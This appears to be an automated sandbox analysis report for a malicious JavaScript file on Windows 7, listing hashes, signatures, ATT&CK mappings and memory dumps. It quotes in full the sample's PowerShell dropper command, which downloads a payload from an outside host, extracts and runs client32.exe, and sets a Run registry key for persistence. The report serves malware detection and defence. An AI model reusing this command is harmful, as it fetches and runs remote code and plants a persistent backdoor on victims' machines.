3e9c55408b98794eda44888385b78123fb2f136a89b7fbdedd049d517745ae6d

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29/08/2023, 08:26

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General

Target

127412741274.js
Size

3KB
MD5

76d8d90a70e5efa819d121c091a87580
SHA1

7ef8e905bbb6e3f544959201df72a29b471c2540
SHA256

3e9c55408b98794eda44888385b78123fb2f136a89b7fbdedd049d517745ae6d
SHA512

d3f711e1edb8fb21e5cfda4b97cf64635961be6d2068a35bb6681d4ef4ef0c0d04093260ac9661508a612bef2d5bc9e13c628e0d0cb6081eb43a820b78ba3b86

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2908	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2964 wrote to memory of 2908	2964	wscript.exe	28
PID 2964 wrote to memory of 2908	2964	wscript.exe	28
PID 2964 wrote to memory of 2908	2964	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\127412741274.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2908-5-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-4-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2908-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2908-7-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-8-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2908-10-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2908-9-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2908-11-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2908-13-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download